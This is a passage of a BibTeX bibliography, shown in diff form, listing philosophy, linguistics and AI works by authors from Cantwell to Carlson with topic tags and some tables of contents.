{Resolving Conflicting Information}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {2}, + pages = {191--220}, + topic = {belief-revision;coherence;} + } + +@article{ cantwell:1999a, + author = {John Cantwell}, + title = {Some Logics of Iterated Belief Change}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {1}, + pages = {49--84}, + topic = {belief-revision;} + } + +@article{ cantwell:2000a, + author = {John Cantwell}, + title = {Logics of Belief Change without Linearity}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {4}, + pages = {1556--1575}, + topic = {belief-revision;} + } + +@book{ cao_ty:1999a, + editor = {Tian Yu Cao}, + title = {Conceptual Foundations of Quantum Field Theory}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {052163152-1}, + topic = {philosophy-of-physics;quantum-field-theory;} + } + +@book{ capitan-merrill:1967a, + editor = {William H. Capitan and Daniel D. Merrill}, + title = {Art, Mind, and Religion}, + publisher = {University of Pittsburgh Press}, + year = {1967}, + address = {Pittsburgh}, + topic = {analytic-philosophy;philosophy-of-mind;} + } + +@article{ cappelin-lepore:1997a, + author = {Herman Cappelin and Ernest Lepore}, + title = {The Varieties of Quotation}, + journal = {Mind}, + year = {1997}, + volume = {106}, + pages = {429--450}, + missinginfo = {number}, + topic = {direct-discourse;} + } + +@article{ cappelin:1999a, + author = {Herman Cappelin}, + title = {Intentions in Words}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {3}, + pages = {92--102}, + topic = {philosophy-of-language;referring-expressions;reference;} + } + +@incollection{ carabello-charniak:1996a, + author = {Sharon A. Carabello and Eugene Charniak}, + title = {Figures of Merit for + Best-First Probabilistic Chart Parsing}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {127--132}, + address = {Somerset, New Jersey}, + topic = {parsing-algorithms;corpus-statistics;} + } + +@article{ carabello-charniak:1998a, + author = {Sharon A. Carabello and Eugene Charniak}, + title = {New Figures of Merit for Best-First Probabilistic + Chart Parsing}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {275--298}, + topic = {probabilistic-parsers;} + } + +@book{ carberry_ms-etal:1979a, + author = {M.S. Carberry and H.M. Khalil and J.F. Leathrum and + L.S. Levy}, + title = {Foundations of Computer Science}, + publisher = {Computer Science Press, Inc.}, + year = {1979}, + address = {Potomac, Maryland}, + ISBN = {0-914894-18-8}, + contentnote = {TC: + 1. Computer Science: Scientific and Historical Perspectives + 2. Problem Solving on Computers + 3. Programming Methodology + 4. Computer Systems -- An Overview + 5. Semiotics: Syntax, Semantics, and Pragmatics + 6. Control Structures + 7. Data Structures + 8. Numerical Applications + 9. Nonnumerical Applications + 10. Social Issues in Computing + 11. Artificial Intelligence + 12. Computer Software + 13. Interactive Computation + 14. Mathematical Models of Machines + 15. Programming a Pocket Calculator } , + topic = {cs-intro;} +} + +@inproceedings{ carberry_s:1985a, + author = {Sandra Carberry}, + title = {A Pragmatics Based Approach to Understanding Intersentential + Ellipsis}, + booktitle = {Proceedings of the 23rd Annual Meeting of the Association + for Computational Linguistics}, + address = {Chicago, Illinois}, + pages = {188--197}, + year = {1985}, + topic = {pragmatics;ellipsis;} + } + +@inproceedings{ carberry_s:1986a, + author = {Sandra Carberry}, + title = {{TRACK:} Toward a Robust Natural Language Interface}, + booktitle = {Proceedings of the Sixth Canadian Conference on + Artificial Intelligence}, + address = {Montreal, Canada}, + pages = {84--88}, + year = {1986}, + topic = {nl-interpretation;nl-interfaces;} + } + +@inproceedings{ carberry_s:1986b, + author = {Sandra Carberry}, + title = {User Models: The Problem of Disparity}, + booktitle = {Proceedings of the 11th International Conference on + Computational Linguistics}, + pages = {29--34}, + address = {Bonn, West Germany}, + year = {1986}, + topic = {nl-interpretation;user-modeling;} + } + +@techreport{ carberry_s:1989a, + author = {Sandra Carberry}, + title = {A New Look at Plan Recognition in Natural Language Dialogue}, + institution = {Department of Computer Science, University of Delaware}, + address = {Newark, Delaware}, + year = {1989}, + number = {90--08}, + topic = {nl-interpretation;plan-recognition;} + } + +@article{ carberry_s:1989b, + author = {Sandra Carberry}, + title = {A Pragmatics-Based Approach to Ellipsis Resolution}, + journal = {Computational Linguistics}, + volume = {15}, + number = {2}, + pages = {75--96}, + year = {1989}, + topic = {pragmatics;ellipsis;} + } + +@incollection{ carberry_s:1989c, + author = {Sandra Carberry}, + title = {Plan Recognition and Its Use in + Understanding Dialog}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {133--162}, + address = {Berlin}, + topic = {user-modeling;plan-recognition;discourse-interpretation;} + } + +@inproceedings{ carberry_s:1990a, + author = {Sandra Carberry}, + title = {Incorporating Default Inferences Into Plan Recognition}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {472--479}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {plan-recognition;pragmatics;nm-ling;} + } + +@inproceedings{ carberry_s:1990b, + author = {Sandra Carberry}, + title = {A Model of Plan Recognition that Facilitates Default Inferences}, + booktitle = {Proceedings of the Second International Workshop + on User Modeling}, + address = {Honolulu, Hawaii}, + year = {1990}, + topic = {plan-recognition;nonmonotonic-reasoning;nm-ling;} + } + +@book{ carberry_s:1990c, + author = {Sandra Carberry}, + title = {Plan Recognition in Natural Language Dialogue}, + publisher = {The {MIT} Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + topic = {plan-recognition;discourse;nl-interpretation; + pragmatics;} + } + +@article{ carberry_s-lambert:1999a, + author = {Sandra Carberry and Lynn Lambert}, + title = {A Process Model for Recognizing Communicative + Acts and Modeling Negotiation Subdialogues}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {1}, + pages = {1--53}, + topic = {discourse-modeling;speech-act-recognition; + negotiation-subdialogs;computational-dialogue;} + } + +@article{ carbonell:1980a, + author = {Jaime Carbonell}, + title = {Default Reasoning and Inheritance Mechanisms of Type Hierarchies}, + journal = {Communications of the {ACM}}, + pages = {107--109}, + year = {1980}, + missinginfo = {volume, number Check this reference.}, + topic = {inheritance-theory;} + } + +@article{ carbonell:1980b, + author = {Jaime G. Carbonell}, + title = {Towards a Process Model of Human Personality Traits}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {15}, + number = {1--2}, + pages = {49--74}, + acontentnote = {Abstract: + A goal-based analysis of human personality traits is presented + with the objective of developing a comprehensive simulation + model. It is shown that understanding trait attributions is an + integral part of story comprehension and therefore much of + natural language processing. The model of personality traits is + derived from the goal trees in the POLITICS system, the notion + of social prototypes, and planning/counterplanning strategies. + It is argued that the goal-expectation setting, created from an + analysis of personality traits attributed to actors in a story, + establishes a best-first evaluation criterion that makes more + tractable the search problem inherent in story understanding. + } , + topic = {personality-simulation;} + } + +@article{ carbonell:1981a, + author = {Jaime G. Carbonell}, + title = {Counterplanning: A Strategy-Based Model of Adversary + Planning in Real-World Situations}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {16}, + number = {3}, + pages = {295--329}, + topic = {strategic-planning;} + } + +@techreport{ carbonell:1981b, + author = {Jaime G. Carbonell}, + title = {Metaphor Comprehension}, + institution = {Department of Computer Science, Carnegie-Mellon + University}, + number = {CMU--CS--81--115}, + year = {1981}, + address = {Pittsburgh}, + topic = {metaphor;} + } + +@inproceedings{ carbonell:1983a, + author = {Jaime Carbonell}, + title = {Derivational Analogy in Problem Solving and Knowledge + Acquisition}, + booktitle = {Proceedings of the International Machine Learning + Workshop}, + year = {83}, + pages = {12--18}, + missinginfo = {editor, publisher, address}, + topic = {analogy;analogical-reasoning;} + } + +@incollection{ carbonell:1983b, + author = {Jaime Carbonell}, + title = {Learning by Analogy. Formulating and Generalizing + Plans from Past Experience}, + booktitle = {Machine Learning, a Artificial Intelligence Approach}, + publisher = {Tioga Press}, + year = {1983}, + editor = {R. Michalski and J. Carbonell and T. Mitchell}, + address = {Palo Alto, California}, + missinginfo = {E's 1st name, pages}, + topic = {analogy;machine-learning;} + } + +@techreport{ carbonell-minton:1983a, + author = {Jaime G. Carbonell and Steven Minton}, + title = {Metaphor and Common-Sense Reasoning}, + institution = {Carnegie-Mellon University}, + number = {CMU--CS--83--110}, + year = {1983}, + address = {Pittsburgh}, + topic = {metaphor;common-sense-reasoning;} + } + +@article{ carbonell:1989a, + author = {Jaime G. Carbonell}, + title = {Introduction: Paradigms for Machine Learning}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {40}, + number = {1--3}, + pages = {1--9}, + topic = {machine-learning;} + } + +@book{ carbonell:1989b, + editor = {Jaime G. Carbonell}, + title = {Machine Learning: Paradigms and Methods}, + publisher = {The {MIT} Press}, + year = {1989}, + address = {Cambridge, Massachusetts}, + topic = {machine-learning;} + } + +@book{ card-etal:1983a, + author = {Stuart K. Card and Thomas P. Moran and Allen Newell}, + title = {The Psychology of Human-Computer Interaction}, + publisher = {Lawrence Erlbaum Associates}, + year = {1983}, + address = {Hillsdale, New Jersey}, + ISBN = {0898592437}, + topic = {HCI;cognitive-psychology;} + } + +@article{ carden:1970a, + author = {Guy Carden}, + title = {A Note on Confliction Idiolects}, + journal = {Linguistic Inquiry}, + year = {1970}, + volume = {1}, + number = {3}, + pages = {281--290}, + topic = {nl-quantifier-scope;empirical-methods-in-linguistics;} + } + +@book{ carden-dieterich:1976a, + author = {Guy Carden and Thomas G. Dieterich}, + title = {Coreference Evidence for a Transformationalist Analysis + of Nominals}, + publisher = {Indiana University Linguistics Club}, + year = {1976}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {transformational-grammar;nominalization;} + } + +@incollection{ cardie:1996a, + author = {Claire Cardie}, + title = {Automating Feature Set Selection for Case-Based + Learning of Linguistic Knowledge}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {113--126}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;} + } + +@book{ cardie-weischedel:1997a, + editor = {Claire Cardie and Ralph Weischedel}, + title = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Adwait Ratnaparkhi, "A Linear Observed Time Statistical Parser + Based on Maximal Entropy Models" + 2. Joshua Goodman, "Global Thresholding and Multiple-Pass + Parsing" + 3. Carolyn Penstein Ros\'e and Alon Lavie, "An Efficient + Distribution of Labor in a Two Stage Robust + Interpretation Process" + 4. Doug Beeferman and Adam Berger and John Lafferty, "Text + Segmentation Using Exponential Models" + 5. Korin Richmond and Andrew Smith and Einat Amitay, "Detecting + Subject Boundaries within Text: A Language Independent + Statistical Approach" + 6. Ido Dagan and Yale Kerov and Dan Roth, "Mistake-Driven + Learning in Text Categorization" + 7. Thorstein Brants and Wojciech Skut and Brigitte Krenn, + "Tagging Grammatical Functions" + 8. Jo Calder, "On Aligning Trees" + 9. Lawrence Saul and Fernando Pereira, "Aggregate and Mixed-Order + {M}arkov Models for Statistical Language Processing" + 10. Erika F. de Lima, "Assigning Grammatical Relations with a + Back-Off Model" + 11. I. Dan Melamed, "Automatic Discovery of Non-Compositional + Compounds in Parallel Data" + 12. Scott W. Bennett and Chinatsu Aone and Craig Lovell, " + Learning to Tag Multilingual Texts through Observation" + 14. Ellen Riloff and Jessica Shepherd, "A Corpus-Based Approach + for Building Semantic Lexicons" + 15. Roberto Basili and Gianluca de Rossi and Maria Teresa + Pazienza, "Inducing Terminology for Lexical Acquisition" + 16. Paul Thompson and Christopher C. Dozier, "Name Searching + and Information Retrieval" + 17. K.L. Kwock, "Lexicon Effects on {C}hinese Information + Retrieval" + 18. Paola Merlo and Matthew W. Crocker and Cathy Berthouzoz, + "Attaching Multiple Prepositional Phrases: Generalized + Back-Off Estimation" + 19. Eric V. Siegel, "Learning Methods for Combining Linguistic + Indicators to Classify Verbs" + 20. Andrew Kehler, "Probabilistic Coreference in Information + Extraction" + 21. Janyce Wiebe and Tom O'Hara and Kenneth McKeever and + Thorsten \"Ohrstr\"m-Sandgren, "An Empirical Approach + to Temporal Reference Resolution" + 22. Ji Donghong and Huang Changning, "Word Sense Disambiguation + Based on Structured Semantic Space" + 23. Ted Pedersen and Rebecca Bruce, "Distinguishing Word Senses + in Untagged Text" + 24. Hwee Tou Ng, "Exemplar-Based Word Sense Disambiguation: Some + Recent Improvements" + } , + topic = {empirical-methods-in-nlp;} + } + +@article{ cardie:1998a, + author = {Claire Cardie}, + title = {Empirical Methods in Information Extraction}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {18}, + number = {4}, + pages = {65--79}, + topic = {machine-learning;intelligent-information-retrieval; + computational-linguistics;} + } + +@inproceedings{ cardie-pierce:1998a, + author = {Claire Cardie and David Pierce}, + title = {Error-Driven Pruning of Treebank Grammars for Base Noun + Phrase Identification}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {218--224}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {corpus-tagging;text-skimming;} +} + +@book{ cardie-etal:2000a, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + title = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Dan Roth, "Learning in Natural Language: Theory and + Algorithmic Approaches", pp. 1--6 + 2. Nicola Cancedda and Christer Samuelson, "Corpus-Based + Grammar Specialization", pp. 7--12 + 3. R.I. Damper and Y. Marchand, "Pronunciation by Analogy in + Normal and Impaired Readers", pp. 13--18 + 4. Guy de Pauw and Walter Daelemans, "The Role of Algorithm + Bias vs. Information Source in Learning Algorithms + for Morphosyntactic Disambiguation", pp. 19--24 + 5. John Elliott and Eric Antwell and Bill Whyte, "Increasing + our Ignorance of Language: Identifying Language + Structure in an Unknown `Signal'\,", pp. 25--30 + 6. Gerard Escudero and LLu\'is M\`arquez and German Rigau, "A + Comparison between Supervised Learning Algorithms + for Word Sense Disambiguation", pp. 31--36 + 7. George Foster, "Incorporating Position Information into a + Maximum Entropy/Minimum Divergence Translation + Model", pp. 37--42 + 8. Guido Minnen and Francis Bond and Ann Copestake, "Memory-Based + Learning for Article Generation", pp. 43--48 + 9. Tony Mullen and Miles Osborne, "Overfitting Avoidance for + Stochastic Modeling of Attribute-Value Grammars", pp. 49--54 + 10. Stephen Raaijmakers, "Learning Distributed Linguistic + Classes", pp. 55--60 + 11. William Gregory Sakas, "Modeling the Effect of Cross-Language + Ambiguity on Human Syntax Acquisition", pp. 61--66 + 12. Patrick Schone and Daniel Jurafsky, "Knowledge-Free Induction + of Morphology Using Latent Semantic Analysis", pp. 67--72 + 13. Antal van den Bosch, "Using Induced Rules as Complex Features + in Memory-Based Language Learning", pp. 73--78 + 14. F. Amaya and J.M. Bened\'i, "Using Perfect Sampling in Parameter + Estimation of a Whole Sentence Maximum Entropy Language + Model", pp. 79--82 + 15. Konstantin Biatov, "Experiments on Unsupervised Learning for + Extracting Relevant Fragments from Spoken Dialog + Corpus", pp. 83--86 + 16. Laurent Blin and Laurent Miclet, "Generating Synthetic Speech + Prosody with Lazy Learning in Tree Structures", pp. 87--90 + 17. Alexander Clark, "Inducing Syntactic Categories by Context + Distribution Clustering", pp. 91--94 + 18. Herv\'e D\'ejean, "{ALLiS}: A Symbolic Learning System for + Natural Language Learning", pp. 95--98 + 19. Jos\'e M. G\'omez Hidalgo and Enrique Puertas Sanz, "Combining + Text and Heuristics for Cost-Sensitive Spam + Filtering", pp. 99--102 + 20. Anne Kool and Walter Daelemans and Jakub Zavrel, "Genetic + Algorithms for Feature Relevance Assignment in Memory-Based + Language Processing", pp. 103--106 + 21. Vasin Punyakanok and Dan Roth, "Shallow Parsing by Inferencing + with Classifiers", pp. 107--110 + 22. Patrick Ruch and Robert Baud and Pierette Bouillon and Gilbert + Robert, "Minimal Commitment and Full Lexical Disambiguation: + Balancing Rules and Hidden {M}arkov Models", pp. 111--114 + 23. J. Turmo and H. Rodr\'iguez, "Learning {IE} Rules for a Set + of Related Concepts", pp. 115--118 + 24. Hans van Halterin, "A Default First Order Family Weight + Determination Procedure for {WPDV} Models", pp. 119--122 + 25. Jose Luis Verd\'u-Mas and Jorge Calera-Rubio and Rafael + C. Carrasco, "A Comparison of {PCFG} Models", pp. 123--125 + 26. Erik Tjong Kim Sang and Sabine Buchholz, "Introduction to + the {CoNLL-200} Shared Task: Chunking", pp. 127--132 + 27. Herv\'e D\'ejean, "Learning Syntactic Structures with + {XML}", pp. 133--135 + 28. Christer Johansson, "A Context Sensitive Maximum Likelihood + Approach to Chunking", 136--138 + 29. Rob Koeling, "Chunking with Maximum Entropy Models", pp. 139--141 + 30. Taku Kodeh and Yuji Matsumoto, "Use of Support Vector + Learning for Chunk Identification", pp. 142--144 + 31. Miles Osborne, "Shallow Parsing as Part-of-Speech + Tagging", pp. 145--147 + 32. Ferran Pla and Antonio Molina and Natividad Prieto, "Improving + Chunking by Means of Lexical-Contextual Information in + Statistical Language Models", pp. 148--150 + 33. Erik Tjong Kim Sang, "Text Chunking by System + Combination", pp. 151--153 + 34. Hans van Halterin, "Chunking with {WPDV} Models", pp. 154--156 + 35. Jorn Veenstra and Antel van den Bosch, "Single-Classifier + Memory-Based Phrase Chunking", pp. 157--159 + 36. Marc Vilain and David Day, "Phrase Parsing with Rule Sequence + Processors: An Application to the Shared {CoNLL} + Task", pp. 160--162 + 37. GuoDong Zhou and Jian Su and TongGuan Tey, "Hybrid Text + Chunking", pp. 163--165 + 38. J\"org-Uwe Kietz and Raphael Volz and Alexander + Maedche, "Extracting a Domain-Specific Ontology from + a Corporate Intranet", pp. 167--175 + 39. Pieter Adriaans and Erik de Haas, "Learning from a + Substructural Perspective", pp. 176--183 + 40. James Cussens and Stephen Pulman, "Incorporating Linguistics + Constraints into Inductive Logic Programming", pp. 184--193 + 41. F. Esposito and S. Ferelli and N. Fanizzi and G. + Semeraro, "Learning from Parsed Sentences with + {INTHELEX}", pp. 194--198 + 42. Pascale S\'ebillot and Pierette Bouillon and C\'ecile + Fabre, "Inductive Logic Programming for Corpus-Based + Acquisition of Semantic Lexicons", pp. 199--208 + 43. Aline Villavicencio, "The Acquisition of Word Order by a + Computational Learning System", pp. 209--218 + 44. Eva \v{Z}a\v{c}kov\'a and Lobo\v{s} Popelinsk\'y and Milo\v{s} + Nepil, "Recognition and Tagging of Compound Verb Groups in + {C}zech", pp. 219--225 + } , + topic = {language-learning;grammar-learning;machine-language-learning;} + } + +@incollection{ cardona-etal:1991a, + author = {L. Cardona and J. Kohlas and P.A. Monney}, + title = {The Reliability of Reasoning with Unreliable Rules + and Propositions}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {125--129}, + address = {Berlin}, + topic = {Dempster-Shafer-theory;reasoning-about-uncertainty;} + } + +@book{ care-landesman:1968a, + editor = {Norman S. Care and Charles Landesman}, + title = {Readings in the Theory of Action}, + publisher = {Indiana University Press}, + year = {1968}, + address = {Bloomington, Indiana}, + topic = {philosophy-of-action;} + } + +@inproceedings{ carenini-moore_jd:1998a, + author = {Giuseppe Carenini and Johanna D. Moore}, + title = {Multimedia Explanations in {IDEA} Decision Support System}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Interactive and Mixed-Initiative Decision Theoretic Systems}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Peter Haddawy and Steve Hanks}, + pages = {16--22}, + missinginfo = {pages}, + topic = {preference-modeling;explanation;mixed-initiative-systems;} + } + +@book{ carey_jm:1995a, + editor = {Jane M. Carey}, + title = {Human Factors In Information Systems: Emerging Theoretical + Bases}, + publisher = {Ablex Pub. Corp.}, + year = {1995}, + address = {Norwood, New Jersey}, + ISBN = {0893919403 (cl)}, + topic = {HCI;} + } + +@book{ carey_s:1985a, + author = {Susan Carey}, + title = {Conceptual Change in Childhood}, + publisher = {The {MIT} Press}, + year = {1985}, + address = {Cambridge, Massachusetts}, + ISBN = {0262031108}, + topic = {developmental-psychology;concept-formation;} + } + +@book{ carey_s-gelman:1991a, + editor = {Susan Carey and Rochel Gelman}, + title = {The Epigenesis of Mind: Essays on Biology and Cognition}, + publisher = {Lawrence Erlbaum Associates}, + year = {1991}, + address = {Hillsdale, New Jersey}, + ISBN = {0805804382}, + contentnote = {TC: + 1. C.R. Gallistel, Ann L. Brown, Susan Carey, Rochel Gelman, and + Frank C. Keil, "Biological contributions to + cognition--Lessons from animal learning for the study + of cognitive development" + 2. Peter Marler, "The instinct to learn" + 3. Adele Diamond, "Neuropsychological insights into the meaning + of object concept development" + 4. Elissa L. Newport, "Contrasting concepts of the critical + period for language" + 5. Elizabeth S. Spelke, "Innate knowledge and beyond. Physical + knowledge in infancy: reflections on Piaget's + theory" + 6. Annette Karmiloff-Smith, "Beyond modularity : innate + constraints and developmental change" + 7. Kurt W. Fischer and Thomas Bidell, "Constraining nativist + inferences about cognitive capacities" + 8. Frank C. Keil, "The emergence of theoretical beliefs as + constraints on concepts" + 9. Susan Carey, "Knowledge acquisition : enrichment or + conceptual change?" + 10. Rochel Gelman., "Epigenetic foundations of knowledge + structures : initial and transcendent constructions" + } , + topic = {developmental-psychology;biopsychology;} + } + +@article{ cargile:1967a, + author = {James Cargile}, + title = {The Surprise Test Paradox}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {21}, + pages = {550--563}, + topic = {surprise-examination-paradox;} + } + +@article{ cargile:1969a1, + author = {James Cargile}, + title = {The Sorites Paradox}, + journal = {British Journal for the Philosophy of Science}, + year = {1969}, + volume = {20}, + pages = {193--202}, + missinginfo = {number}, + xref = {Republication: cargile:1969a1.}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ cargile:1969a2, + author = {James Cargile}, + title = {The Sorites Paradox}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {89--98}, + address = {Cambridge, Massachusetts}, + xref = {Republication of cargile:1969a1.}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ carl_m:1998a, + author = {Michael Carl}, + title = {A Constructivist Approach to Machine Translation}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {247--256}, + address = {Somerset, New Jersey}, + topic = {machine-translation;} + } + +@incollection{ carl_m-schmidtwigger:1998a, + author = {Michael Carl and Antje Schmidt-Wigger}, + title = {Shallow Post Morphological Processing with {KURD}}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {257--265}, + address = {Somerset, New Jersey}, + topic = {computational-morphology;} + } + +@book{ carl_w:1994a, + author = {Wolfgang Carl}, + title = {Frege's Theory of Sense and Reference: Its Origin and + Scope}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + topic = {Frege;intensionality;} + } + +@article{ carleton:1984a, + author = {Lawrence R. Carleton}, + title = {Programs, Language Understanding, and {S}earle}, + journal = {Synth\'ese}, + year = {1984}, + volume = {59}, + number = {2}, + pages = {219--230}, + topic = {philosophy-AI;foundations-of-cognition;} + } + +@article{ carletta:1996a, + author = {Jean Carletta}, + title = {Assessing Agreement on Classification Tasks: The Kappa + Statistic}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {2}, + pages = {249--255}, + topic = {corpus-tagging;} + } + +@article{ carletta-etal:1997a, + author = {Jean Carletta and Amy Isard and Stephen Isard and + Jacqueline C. Kowtko and Gwynewth Doherty-Sneddon and Anne H. + Anderson}, + title = {The Reliability of a Dialogue Structure Coding Scheme}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {1}, + pages = {13--31}, + topic = {discourse-structure;corpus-tagging;corpus-linguistics; + pragmatics;} + } + +@incollection{ carletta-isard:1999a, + author = {Jean Carletta and Amy Isard}, + title = {The {MATE} Annotation Workbench: User Requirements}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {11--17}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;computational-dialogue;} + } + +@book{ carlson_e:1995a, + author = {Erik Carlson}, + title = {Consequentialism Reconsidered}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + series = {Theory and Decision Library, Series A: + Philosophy and Methodology of the Social + Sciences}, + volume = {20}, + topic = {consequentialism;ethics;} + } + +@article{ carlson_gn:1977a, + author = {Greg N. Carlson}, + title = {A Unified Analysis of the {E}nglish Bare Plural}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {3}, + pages = {413--456}, + topic = {generics;i-level/s-level;} + } + +@phdthesis{ carlson_gn:1977b, + author = {Gregory N. Carlson}, + title = {Reference to Kinds in {E}nglish}, + school = {Linguistics Department, University of Massachusetts}, + year = {1977}, + address = {Amherst, Massachusetts}, + xref = {Book publication: carlson_gn:1980a.}, + topic = {generics;nl-semantics;} + } + +@article{ carlson_gn:1979a, + author = {Greg N. Carlson}, + title = {Generics and Atemporal {\em When}}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {1}, + pages = {49--98}, + topic = {nl-semantics;generics;conditionals;} + } + +@book{ carlson_gn:1980a, + author = {Greg N. Carlson}, + title = {Reference to Kinds in {E}nglish}, + publisher = {Garland Publishing Company}, + year = {1980}, + address = {New York}, + xref = {Ph.{D}. thesis: carlson_gn:1977b.}, + topic = {generics;nl-semantics;} + } + +@article{ carlson_gn:1982a, + author = {Greg N. Carlson}, + title = {Generic Terms and Generic Sentences}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {2}, + pages = {145--182}, + topic = {generics;} + } + +@article{ carlson_gn:1983a, + author = {Greg N. Carlson}, + title = {Logical Form: Types of Evidence}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {3}, + pages = {295--317}, + topic = {logical-form;foundations-of-semantics; + linguistics-methodology;} + } + +@article{ carlson_gn:1984a, + author = {Greg N. Carlson}, + title = {On the Role of Thematic Roles in Linguistic Theory}, + journal = {Linguistics}, + year = {1984}, + volume = {22}, + pages = {259--279}, + missinginfo = {number}, + topic = {thematic-roles;} + } + +@article{ carlson_gn:1984b, + author = {Greg N. Carlson}, + title = {Thematic Roles and Their Role in Semantic Interpretation}, + journal = {Linguistics}, + year = {1984}, + volume = {22}, + missinginfo = {number, pages, date? Cld be 85}, + topic = {nl-semantics;thematic-roles;} + } + +@article{ carlson_gn:1985a, + author = {Greg N. Carlson}, + title = {Review of {\it Semantics and Cognition}, by {R}ay + {J}ackendoff}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {4}, + pages = {505--519}, + xref = {Review of jackendoff:1983a.}, + topic = {cognitive-semantics;} + } + +@article{ carlson_gn:1987a, + author = {Greg N. Carlson}, + title = {Same and Different: Some Consequences for Syntax and + Semantics}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {4}, + pages = {531--565}, + topic = {events;nl-semantics;sameness/difference;} + } + +@incollection{ carlson_gn:1988a, + author = {Greg N. Carlson}, + title = {On the Semantic Composition of {E}nglish Generic Sentences}, + booktitle = {Properties, Types and Meaning, Vol. 2}, + year = {1988}, + editor = {Gennaro Chierchia and Barbara Partee and Raymond Turner}, + publisher = {Kluwer Academic Publishers}, + pages = {167--193}, + address = {Dordrecht}, + topic = {nl-semantics;generics;} + } + +@article{ carlson_gn:1991a, + author = {Greg N. Carlson}, + title = {Review of {\it Meaning and Grammar: An Introduction to + Semantics}, by {G}ennaro {C}hierchia and {S}ally + {M}c{C}onnell-{G}inet}, + journal = {Language}, + year = {1991}, + volume = {67}, + number = {4}, + pages = {805--813}, + topic = {nl-semantics;} + } + +@incollection{ carlson_gn:1995b, + author = {Gregory N. Carlson}, + title = {Truth Conditions of Generic Sentences: Two Contrasting + Views}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + pages = {224--237}, + address = {Chicago, IL}, + topic = {generics;} + } + +@book{ carlson_gn-pelletier:1995a, + editor = {Greg N. Carlson and Francis Jeffrey Pelletier}, + title = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + address = {Chicago, IL}, + contentnote = {TC: + 1. Manfred Krifka and Francis Jeffrey Pelletier and Gregory + N. Carlson and Alice ter Meulen and Gennaro Chierchia + and Godehard Link, "Genericity: An + Introduction", pp. 1--124 + 2. Angelika Kratzer, "Stage-Level and Individual-Level + Predicates", pp. 125--175 + 